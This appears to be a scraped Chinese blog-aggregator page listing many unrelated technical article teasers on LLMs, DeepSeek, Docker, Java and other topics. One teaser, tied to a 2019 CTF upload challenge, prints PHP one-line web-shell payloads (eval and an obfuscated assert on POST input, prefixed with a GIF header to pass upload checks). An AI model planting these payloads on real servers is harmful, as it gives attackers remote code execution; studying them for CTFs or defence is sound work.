- LLM 参数解析:使用 OpenAI API 在 Python 中的实用指南(含示例)
真智AI
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当你使用大语言模型(LLM)时,可能会注意到,即使提交相同的请求,多次运行后仍然会得到不同的回应。这是因为LLM具有概率性,它们的输出基于所学到的模式和概率,而不是固定规则。幸运的是,你可以通过调整特定的参数来控制LLM的行为,就像微调收音机的旋钮来调整到想要的电台一样。理解这些参数可以帮助你更好地定制LLM的输出,使其更具可预测性或创造性,具体取决于你的需求。在本文中,我们将探讨多个关键参数,这
- deepseek本地部署后做微调训练实现智能对话的一些建议
慧香一格
AI学习deepseek服务器AI
在本地部署大模型后,进行微调和训练以实现智能对话,通常需要按照以下步骤操作。以下是详细的指导内容:1.准备数据集在微调大模型之前,需要准备适合的训练数据集。数据集应满足以下要求:格式:通常使用JSONL(JSONLines)格式,每行包含一个训练样本。内容:数据应包含对话的上下文和目标输出,例如:{"context":"你好!今天天气不错。","response":"是的,天气很好,适合出去走走。
- 大模型进化论:AI产业落地将卷向何方?
科技云报道
人工智能大数据
科技云报到原创。2024年,是大模型翻天覆地的一年。“百模大战”爆发不久,大模型价格战随之而来,成本高昂的大模型几乎进入了免费时代。大模型从庞大的实验室工具,转变为高效灵活的应用助手,以狂飙猛进的速度在众多行业落地生根。不再有人质疑大模型是“拿着锤子找钉子”,更急迫的需求来自市场端。行业对大模型应用的渴望推动着AIAgent走向前台,围绕AIAgent的混战已然开启。与此同时,大模型的技术范式飞速
- 科技云报到:从大模型到云端,“AI+云计算”还能讲出什么新故事
科技云报道
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科技云报到原创。2024年的大模型产业,注定将是会被反复提起的一页。这一年,被按下加速键的市场刚刚过半,就已经显示出冰火两重天的格局。算法的单模态扩展到多模态,趋势如燎原之火,让全球陷入对世界模型畅想的狂欢中;一级市场逐渐走向冷静,投资人开始频频向企业要收入,百模齐发迅速被简化为几家独角兽之间的资本与技术持久战。云服务巨头则以一种标准制定者,以及顶级大模型团队背后力量的角色出现,成为市场中隐形的力
- m1处理器macbook使用qemu模拟运行RT-Thread
想学rtos的带土
m1macrt-threadiot物联网macosrisc-v
最近准备深入学习一下RTOS,好巧不巧的是在前几天换了m1的macbookair,于是想要在电脑上配置一下RT-Thread的开发环境,网上搜了一大堆,没有看到符合需求的相关教程(真的很少很少,哭了,给我整崩溃!)。不过在几天的东平西凑后,成功在我的电脑上完成了RT-Thread的编译与运行。现在分享出来,有需要的可以参考一下。1.工具python3.11.5.我这里应该是用的苹果自带的,这里不用
- Windows Docker Desktop部署MaxKB详细教程
Roc-xb
docker容器运维MaxKB
MaxKB(MaxKnowledgeBase)是一款基于大语言模型(LLM)和检索增强生成(RAG)技术的开源知识库问答系统,旨在帮助企业、教育机构及研究组织高效管理知识并提供智能问答服务。一、前期准备工作首先,你需要再你的Windows电脑上安装DockerDesktop。本章教程,不介绍如何安装Docker。二、搜索镜像dockersearchmaxkb
- 本地部署【DeepSeek-R1】,搭建自己的【知识库】
行者无疆xcc
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使用deepseek+ollama+anythingLLM搭建简易知识库ollamadeepseekchatboxanythingLLM一、本地部署Ollama1.简要说明ollama可以看成是大模型的宿主平台管理用户的输入和大模型的输出注:如果运行不起来,可能跟硬件配置有关2.基本操作ollama:下载&安装:https://ollama.com/验证是否安装成功:命令行下输入ollama-vd
- AI 编程工具崛起,程序员的未来是否岌岌可危?
一、AI编程工具的现状AI编程工具的出现与迅猛发展是技术进步的必然结果。这一趋势首先得益于开源社区和代码托管平台提供的丰富代码样本,它们为AI模型的学习提供了充足的素材。其次,编程语言本身的严格语法和结构化特点,使得AI能够高效、精确地理解和生成代码。再者,深度学习技术的突破,尤其是大语言模型在代码理解与生成方面的显著进展,为AI编程提供了坚实的技术基础。最后,随着软件开发需求的不断增加,传统开发
- 大模型AI应用安全与合规测试实战指南-模型层
测试匠心:技能精进·职场跃迁·面试赢家
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——如何为生成式AI构筑“防火墙”与“红绿灯”一、当大模型落地时,我们在担忧什么?2023年,某金融公司上线智能客服,因未过滤用户隐私数据,导致信用卡号泄露;某医疗AI在诊断建议中生成错误药物剂量,引发监管审查……大模型在释放巨大商业价值的同时,安全与合规问题已成悬顶之剑。核心痛点直击:黑盒失控:生成内容不可预测,传统规则引擎失效数据深渊:训练数据含敏感信息,清洗难度指数级上升合规迷宫:全球AI监
- ios中常见的设计原则和设计模式
没头脑的ht
设计模式
七大设计原则1:开闭原则对扩展开放,对修改关闭,在设计模块的时候,使模块在不被修改的前提下可以扩展功能2:依赖倒置原则实现尽量依赖抽象,不依赖具体实现(1)高层模块不应该依赖底层模块,两者都应该依赖于抽象(2)抽象不应该依赖于细节,细节应该依赖于抽象3:单一职责原则对于一个类而言,应该只存在一个可以一起类变化的原因,一个类只承担一个职责,如果一个类有两个职责,应该将其非开。比如tableviewC
- vtkCamera类的Dolly函数作用及相机拉近拉远
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VTKvtkCameraDollySetFocalPoint
录1.预备知识1.1.相机焦点2.vtkCamera类的Dolly函数作用3.附加说明1.预备知识要理解vtkCamera类的Dolly函数作用,就必须先了解vtkCamera类表示的相机的各种属性。 VTK是用vtkCamera类来表示三维渲染场景中的相机。vtkCamera负责把三维场景投影到二维平面,如屏幕、图像等。在VTK中,相机的实质是一个观测点,与人眼的功能相同,相机的视野范围是一个
- FPC布线优化:让你的设计效率提升10倍
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为昕MarsPCBpcb工艺硬件工程软件工程
在FPC(柔性印制电路板)设计中,走线标准是需要重点关注的基础要素。走线标准01.线宽标准·最小线宽通常为3-4mil(0.076-0.1mm)·常用线宽为4-8mil(0.1-0.2mm)·大电流走线需要更宽,可达12-20mil(0.3-0.5mm)02.线间距标准·最小间距一般不小于4mil(0.1mm)·普通信号线间距建议6-8mil(0.15-0.2mm)·高速信号线需要更大间距,建议8
- AI赋能教育:深度解析大模型在教育场景中的应用与架构设计【无标题】
和老莫一起学AI
人工智能语言模型产品经理ai自然语言处理大模型程序员
随着人工智能技术的飞速发展,尤其是大模型的崛起,教育行业迎来了全新的机遇和挑战。教学模式的变革、个性化学习的深化、教育管理的智能化,大模型正以不可忽视的力量推动着教育的数字化升级。在这篇文章中,我们将基于一张完整的应用设计架构图,从应用场景到AI核心能力、训练标注平台、智能处理引擎以及业务数据,全方位剖析大模型如何助力教育行业实现突破,真正实现“AI赋能教育,重塑未来”。一、应用场景:从传统教育到
- Python+DeepSeek,奔跑吧大模型
Bj陈默
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在当今数字化浪潮中,人工智能与编程语言的融合正以前所未有的速度重塑着技术生态。Python作为最受欢迎的编程语言之一,以其简洁易读的语法、丰富的库和广泛的应用场景,成为了无数开发者的首选。而DeepSeek,作为人工智能领域的一颗新星,凭借其强大的大模型能力,为开发者们打开了一扇通往全新世界的大门。当Python遇上DeepSeek,一场技术的盛宴就此拉开帷幕。一、为什么选择Python与Deep
- 2021年上半年软件设计师下午题题型分析及解题全攻略(附真题及答案解析)
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2021年上半年软件设计师下午题题型分析及解题全攻略试题一(数据流图与结构化分析)题型:数据流图实体识别、数据存储补充、数据流补充、结构化语言描述。考点:实体识别:根据上下文数据流图匹配实际业务角色(如车主、管理员)。数据存储设计:识别系统中存储的数据对象(如停车记录表)。数据流平衡:确保数据流的起点和终点符合加工逻辑。结构化语言:将自然语言转化为if-else逻辑,描述加工流程。解题思路:实体命
- 基于Knative的无服务器引擎重构:实现毫秒级冷启动的云原生应用浪潮
桂月二二
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引言:从微服务到无状态的量子跃迁当容器启动时间仍困在900ms高位时,某视频直播平台采用Knative将突发流量处理时效提升40倍,弹性扩缩响应速度突破至120ms级。基于流量预测的预启动算法与内核级资源复用池两大技术创新,正在重新定义Serverless时代的性能边界。IDC最新报告指出,采用该架构的企业资源利用率平均提升至78%,年度计算成本直降320万美元。一、传统FaaS模型的性能桎梏1.
- 包管理工具npm、yarn、pnpm、cnpm详解
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前端工程化npm前端yarncnpmnode.js
1.包管理工具1.1npm#安装$node自带npm#基本用法npminstallpackage#安装包npminstall#安装所有依赖npminstall-gpackage#全局安装npmuninstallpackage#卸载包npmupdatepackage#更新包npmrunscript#运行脚本#特点-Node.js默认包管理器-依赖平铺结构-包安装慢-磁盘空间占用大1.2yarn#安装
- 第十八篇
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- 数字化转型实战:Odoo+工业物联网技术破解江苏食品制造行业三大核心痛点
邹工转型手札
风吟九宵Duodoo开源企业信息化运维人工智能制造
行业背景与挑战江苏省作为中国食品工业产值前三强省份,拥有光明乳业、雨润食品等龙头企业及近2000家中小型食品制造企业。2023年江苏省食品工业协会调研显示:行业平均设备综合效率(OEE)仅为62.3%月度异常停机时间达42小时/产线质量追溯周期超过3.5小时库存周转天数高于行业标杆企业27%在实地调研南京某糕点生产企业时发现,其ERP系统与生产设备存在严重数据断层:车间主任需每天手工录入6类表单、
- 功率因素和电费的关系
能源革命
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功率因数与电费之间存在直接的关系,具体体现在功率因数调整电费上。功率因数调整电费的定义功率因数调整电费是指根据用户功率因数的水平高低,对用户的电费进行减收或增收的费用。这种调整机制旨在鼓励用户提高功率因数,减少无功功率的消耗,从而降低电力系统的负担。功率因数对电费的影响电费计算公式:基本电费:根据用户的用电量和电价计算得出。功率因数调整电费:根据用户的功率因数与标准值的差异,按照一定的比例对基本电
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电机驱动模块是智能车等电子设备中用于驱动电机运转的重要部件,它能将微控制器输出的控制信号转换为足够的功率和电流来驱动电机。以下为你详细介绍电机驱动模块的相关信息:常见类型1.L298N电机驱动模块特点高电压、大电流驱动能力:能够驱动高达46V的电机,持续输出电流可达2A,瞬间峰值电流能达到3A,适用于驱动各种中小型直流电机。双通道控制:可以同时控制两个直流电机的正反转和调速,也能用于驱动一个步进电
- DeepSeek对AI领域的变革性影响分析报告
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一、引言近年来,人工智能(AI)技术加速演进,而中国开源大模型DeepSeek的崛起,标志着全球AI竞争进入新阶段。其凭借低成本、高性能、开源生态三大核心优势,迅速成为行业焦点。本报告从技术、产业、投资、就业及未来趋势等维度,全面解析DeepSeek对AI领域的深远影响,为集团战略布局提供参考。二、技术突破:算法效率与成本革命架构创新:MOE与MLA技术优化DeepSeek采用混合专家系统(MoE
- 文件上传漏洞常用payload
Werqy3
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[极客大挑战2019]UploadGIF89a@eval($_POST[1]);GIF89a$a="a"."s";$b="s"."e"."r"."t";$c=$a.$b;$c($_POST["1"]);
- 《DeepSeek训练算法:开启高效学习的新大门》
人工智能深度学习
在人工智能的浪潮中,大语言模型的发展日新月异。DeepSeek作为其中的佼佼者,凭借其独特的训练算法和高效的学习能力,吸引了众多目光。今天,就让我们深入探究DeepSeek训练算法的独特之处,以及它是如何保证模型实现高效学习的。一、独特的架构基础DeepSeek以Transformer架构为基石,但并非简单沿用,而是进行了深度创新。Transformer架构的核心是注意力机制,这让模型在处理序列数
- 国内十大工业物联网平台分析报告(2025年)
CServer_01
工业物联网工业物联网平台工业物联网平台选型物联网
目录1、工业物联网简介1.1、引言1.2、工业物联网平台架构1.3、工业物联网平台核心功能2、工业物联网发展趋势2.1、总体趋势2.2、技术趋势2.3、市场发展趋势2.4、应用趋势3、工业物联网平台市场预测3.1、工业物联网平台3.2、DCS3.3、实时数据库3.4、SCADA3.5、数字孪生3.6、设备全生命周期管理系统4、主要工业物联网平台供应商介绍4.1、蓝卓4.2、涂鸦智能4.3、中服云4
- 力扣 乘积最大子数组
孑么
力扣算法leetcode职场和发展java动态规划贪心算法
动态规划,注意负负得正,dp交换。题目注意这里的dp的乘积要求最大,而两个很大的负数相乘也是大的,因此在每遍历到一个数时要存一个最大值的dp与一个最小值的dp,然后遍历完后再去存ans的dp。由于存在负数,那么会导致最大的变最小的,最小的变最大的。因此还需要维护当前最小值。时间复杂度:O(n),空间复杂度:O(1)。classSolution{publicintmaxProduct(int[]nu
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企业级的应用,光有大模型能力还不够,推理引擎以外,应用经验、各类原子化能力和现成的应用经验不可或缺。欢迎交流#deepseek腾讯云目前支持4种DeepSeek开源大模型部署方案1、面向开发者开箱即用的HAI方式1)参考:https://mp.weixin.qq.com/s/kZLPfXv3b1sxLSwyRVsEsg2)优势:支持R1,免除购买资源部署的过程,直接开箱使用;参数规模支持1.5B、
- AI大模型应用开发实践:3.使用 tiktoken 计算 token 数量
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AI大模型应用开发人工智能AI编程agi
使用tiktoken计算token数量tiktoken是OpenAI开发的一种BPE分词器。给定一段文本字符串(例如,"tiktokenisgreat!")和一种编码方式(例如,"cl100k_base"),分词器可以将文本字符串切分成一系列的token(例如,["t","ik","token","is","great","!"])。将文本字符串切分成token非常有用,因为GPT模型看到的文本就
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使用Python中的LangChain库优化消息长度:从聊天历史到模型性能的全面指南在现代人工智能应用中,大语言模型(LLM)扮演着越来越重要的角色,尤其是在对话系统、智能助理和其他自然语言处理任务中。然而,所有的模型都有一个有限的上下文窗口,意味着它们可以处理的输入令牌(tokens)数量是有限的。当我们需要处理较长的对话历史或复杂的任务链时,如何管理传递给模型的消息长度变得至关重要。在这篇文章
- DeepSeek R1蒸馏版模型部署的实战教程
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DeepSeek从入门到精通deepseek大模型人工智能实战教程
大家好,我是herosunly。985院校硕士毕业,现担任算法研究员一职,热衷于大模型算法的研究与应用。曾担任百度千帆大模型比赛、BPAA算法大赛评委,编写微软OpenAI考试认证指导手册。曾获得阿里云天池比赛第一名,CCF比赛第二名,科大讯飞比赛第三名。授权多项发明专利。对机器学习和深度学习拥有自己独到的见解。曾经辅导过若干个非计算机专业的学生进入到算法行业就业。希望和大家一起成长进步。
- 统一思想认识
永夜-极光
思想
1.统一思想认识的基础,才能有的放矢
原因:
总有一种描述事物的方式最贴近本质,最容易让人理解.
如何让教育更轻松,在于找到最适合学生的方式.
难点在于,如何模拟对方的思维基础选择合适的方式. &
- Joda Time使用笔记
bylijinnan
javajoda time
Joda Time的介绍可以参考这篇文章:
http://www.ibm.com/developerworks/cn/java/j-jodatime.html
工作中也常常用到Joda Time,为了避免每次使用都查API,记录一下常用的用法:
/**
* DateTime变化(增减)
*/
@Tes
- FileUtils API
eksliang
FileUtilsFileUtils API
转载请出自出处:http://eksliang.iteye.com/blog/2217374 一、概述
这是一个Java操作文件的常用库,是Apache对java的IO包的封装,这里面有两个非常核心的类FilenameUtils跟FileUtils,其中FilenameUtils是对文件名操作的封装;FileUtils是文件封装,开发中对文件的操作,几乎都可以在这个框架里面找到。 非常的好用。
- 各种新兴技术
不懂事的小屁孩
技术
1:gradle Gradle 是以 Groovy 语言为基础,面向Java应用为主。基于DSL(领域特定语言)语法的自动化构建工具。
现在构建系统常用到maven工具,现在有更容易上手的gradle,
搭建java环境:
http://www.ibm.com/developerworks/cn/opensource/os-cn-gradle/
搭建android环境:
http://m
- tomcat6的https双向认证
酷的飞上天空
tomcat6
1.生成服务器端证书
keytool -genkey -keyalg RSA -dname "cn=localhost,ou=sango,o=none,l=china,st=beijing,c=cn" -alias server -keypass password -keystore server.jks -storepass password -validity 36
- 托管虚拟桌面市场势不可挡
蓝儿唯美
用户还需要冗余的数据中心,dinCloud的高级副总裁兼首席营销官Ali Din指出。该公司转售一个MSP可以让用户登录并管理和提供服务的用于DaaS的云自动化控制台,提供服务或者MSP也可以自己来控制。
在某些情况下,MSP会在dinCloud的云服务上进行服务分层,如监控和补丁管理。
MSP的利润空间将根据其参与的程度而有所不同,Din说。
“我们有一些合作伙伴负责将我们推荐给客户作为个
- spring学习——xml文件的配置
a-john
spring
在Spring的学习中,对于其xml文件的配置是必不可少的。在Spring的多种装配Bean的方式中,采用XML配置也是最常见的。以下是一个简单的XML配置文件:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.or
- HDU 4342 History repeat itself 模拟
aijuans
模拟
来源:http://acm.hdu.edu.cn/showproblem.php?pid=4342
题意:首先让求第几个非平方数,然后求从1到该数之间的每个sqrt(i)的下取整的和。
思路:一个简单的模拟题目,但是由于数据范围大,需要用__int64。我们可以首先把平方数筛选出来,假如让求第n个非平方数的话,看n前面有多少个平方数,假设有x个,则第n个非平方数就是n+x。注意两种特殊情况,即
- java中最常用jar包的用途
asia007
java
java中最常用jar包的用途
jar包用途axis.jarSOAP引擎包commons-discovery-0.2.jar用来发现、查找和实现可插入式接口,提供一些一般类实例化、单件的生命周期管理的常用方法.jaxrpc.jarAxis运行所需要的组件包saaj.jar创建到端点的点到点连接的方法、创建并处理SOAP消息和附件的方法,以及接收和处理SOAP错误的方法. w
- ajax获取Struts框架中的json编码异常和Struts中的主控制器异常的解决办法
百合不是茶
jsjson编码返回异常
一:ajax获取自定义Struts框架中的json编码 出现以下 问题:
1,强制flush输出 json编码打印在首页
2, 不强制flush js会解析json 打印出来的是错误的jsp页面 却没有跳转到错误页面
3, ajax中的dataType的json 改为text 会
- JUnit使用的设计模式
bijian1013
java设计模式JUnit
JUnit源代码涉及使用了大量设计模式
1、模板方法模式(Template Method)
定义一个操作中的算法骨架,而将一些步骤延伸到子类中去,使得子类可以不改变一个算法的结构,即可重新定义该算法的某些特定步骤。这里需要复用的是算法的结构,也就是步骤,而步骤的实现可以在子类中完成。
 
- Linux常用命令(摘录)
sunjing
crondchkconfig
chkconfig --list 查看linux所有服务
chkconfig --add servicename 添加linux服务
netstat -apn | grep 8080 查看端口占用
env 查看所有环境变量
echo $JAVA_HOME 查看JAVA_HOME环境变量
安装编译器
yum install -y gcc
- 【Hadoop一】Hadoop伪集群环境搭建
bit1129
hadoop
结合网上多份文档,不断反复的修正hadoop启动和运行过程中出现的问题,终于把Hadoop2.5.2伪分布式安装起来,跑通了wordcount例子。Hadoop的安装复杂性的体现之一是,Hadoop的安装文档非常多,但是能一个文档走下来的少之又少,尤其是Hadoop不同版本的配置差异非常的大。Hadoop2.5.2于前两天发布,但是它的配置跟2.5.0,2.5.1没有分别。 &nb
- Anychart图表系列五之事件监听
白糖_
chart
创建图表事件监听非常简单:首先是通过addEventListener('监听类型',js监听方法)添加事件监听,然后在js监听方法中定义具体监听逻辑。
以钻取操作为例,当用户点击图表某一个point的时候弹出point的name和value,代码如下:
<script>
//创建AnyChart
var chart = new AnyChart();
//添加钻取操作&quo
- Web前端相关段子
braveCS
web前端
Web标准:结构、样式和行为分离
使用语义化标签
0)标签的语义:使用有良好语义的标签,能够很好地实现自我解释,方便搜索引擎理解网页结构,抓取重要内容。去样式后也会根据浏览器的默认样式很好的组织网页内容,具有很好的可读性,从而实现对特殊终端的兼容。
1)div和span是没有语义的:只是分别用作块级元素和行内元素的区域分隔符。当页面内标签无法满足设计需求时,才会适当添加div
- 编程之美-24点游戏
bylijinnan
编程之美
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Random;
import java.util.Set;
public class PointGame {
/**编程之美
- 主页面子页面传值总结
chengxuyuancsdn
总结
1、showModalDialog
returnValue是javascript中html的window对象的属性,目的是返回窗口值,当用window.showModalDialog函数打开一个IE的模式窗口时,用于返回窗口的值
主界面
var sonValue=window.showModalDialog("son.jsp");
子界面
window.retu
- [网络与经济]互联网+的含义
comsci
互联网+
互联网+后面是一个人的名字 = 网络控制系统
互联网+你的名字 = 网络个人数据库
每日提示:如果人觉得不舒服,千万不要外出到处走动,就呆在床上,玩玩手游,更不能够去开车,现在交通状况不
- oracle 创建视图 with check option
daizj
视图vieworalce
我们来看下面的例子:
create or replace view testview
as
select empno,ename from emp where ename like ‘M%’
with check option;
这里我们创建了一个视图,并使用了with check option来限制了视图。 然后我们来看一下视图包含的结果:
select * from testv
- ToastPlugin插件在cordova3.3下使用
dibov
Cordova
自己开发的Todos应用,想实现“
再按一次返回键退出程序 ”的功能,采用网上的ToastPlugins插件,发现代码或文章基本都是老版本,运行问题比较多。折腾了好久才弄好。下面吧基于cordova3.3下的ToastPlugins相关代码共享。
ToastPlugin.java
package&nbs
- C语言22个系统函数
dcj3sjt126com
cfunction
C语言系统函数一、数学函数下列函数存放在math.h头文件中Double floor(double num) 求出不大于num的最大数。Double fmod(x, y) 求整数x/y的余数。Double frexp(num, exp); double num; int *exp; 将num分为数字部分(尾数)x和 以2位的指数部分n,即num=x*2n,指数n存放在exp指向的变量中,返回x。D
- 开发一个类的流程
dcj3sjt126com
开发
本人近日根据自己的开发经验总结了一个类的开发流程。这个流程适用于单独开发的构件,并不适用于对一个项目中的系统对象开发。开发出的类可以存入私人类库,供以后复用。
以下是开发流程:
1. 明确类的功能,抽象出类的大概结构
2. 初步设想类的接口
3. 类名设计(驼峰式命名)
4. 属性设置(权限设置)
判断某些变量是否有必要作为成员属
- java 并发
shuizhaosi888
java 并发
能够写出高伸缩性的并发是一门艺术
在JAVA SE5中新增了3个包
java.util.concurrent
java.util.concurrent.atomic
java.util.concurrent.locks
在java的内存模型中,类的实例字段、静态字段和构成数组的对象元素都会被多个线程所共享,局部变量与方法参数都是线程私有的,不会被共享。
- Spring Security(11)——匿名认证
234390216
Spring SecurityROLE_ANNOYMOUS匿名
匿名认证
目录
1.1 配置
1.2 AuthenticationTrustResolver
对于匿名访问的用户,Spring Security支持为其建立一个匿名的AnonymousAuthenticat
- NODEJS项目实践0.2[ express,ajax通信...]
逐行分析JS源代码
Ajaxnodejsexpress
一、前言
通过上节学习,我们已经 ubuntu系统搭建了一个可以访问的nodejs系统,并做了nginx转发。本节原要做web端服务 及 mongodb的存取,但写着写着,web端就
- 在Struts2 的Action中怎样获取表单提交上来的多个checkbox的值
lhbthanks
javahtmlstrutscheckbox
第一种方法:获取结果String类型
在 Action 中获得的是一个 String 型数据,每一个被选中的 checkbox 的 value 被拼接在一起,每个值之间以逗号隔开(,)。
所以在 Action 中定义一个跟 checkbox 的 name 同名的属性来接收这些被选中的 checkbox 的 value 即可。
以下是实现的代码:
前台 HTML 代码:
- 003.Kafka基本概念
nweiren
hadoopkafka
Kafka基本概念:Topic、Partition、Message、Producer、Broker、Consumer。 Topic: 消息源(Message)的分类。 Partition: Topic物理上的分组,一
- Linux环境下安装JDK
roadrunners
jdklinux
1、准备工作
创建JDK的安装目录:
mkdir -p /usr/java/
下载JDK,找到适合自己系统的JDK版本进行下载:
http://www.oracle.com/technetwork/java/javase/downloads/index.html
把JDK安装包下载到/usr/java/目录,然后进行解压:
tar -zxvf jre-7
- Linux忘记root密码的解决思路
tomcat_oracle
linux
1:使用同版本的linux启动系统,chroot到忘记密码的根分区passwd改密码 2:grub启动菜单中加入init=/bin/bash进入系统,不过这时挂载的是只读分区。根据系统的分区情况进一步判断. 3: grub启动菜单中加入 single以单用户进入系统. 4:用以上方法mount到根分区把/etc/passwd中的root密码去除 例如: ro
- 跨浏览器 HTML5 postMessage 方法以及 message 事件模拟实现
xueyou
jsonpjquery框架UIhtml5
postMessage 是 HTML5 新方法,它可以实现跨域窗口之间通讯。到目前为止,只有 IE8+, Firefox 3, Opera 9, Chrome 3和 Safari 4 支持,而本篇文章主要讲述 postMessage 方法与 message 事件跨浏览器实现。postMessage 方法 JSONP 技术不一样,前者是前端擅长跨域文档数据即时通讯,后者擅长针对跨域服务端数据通讯,p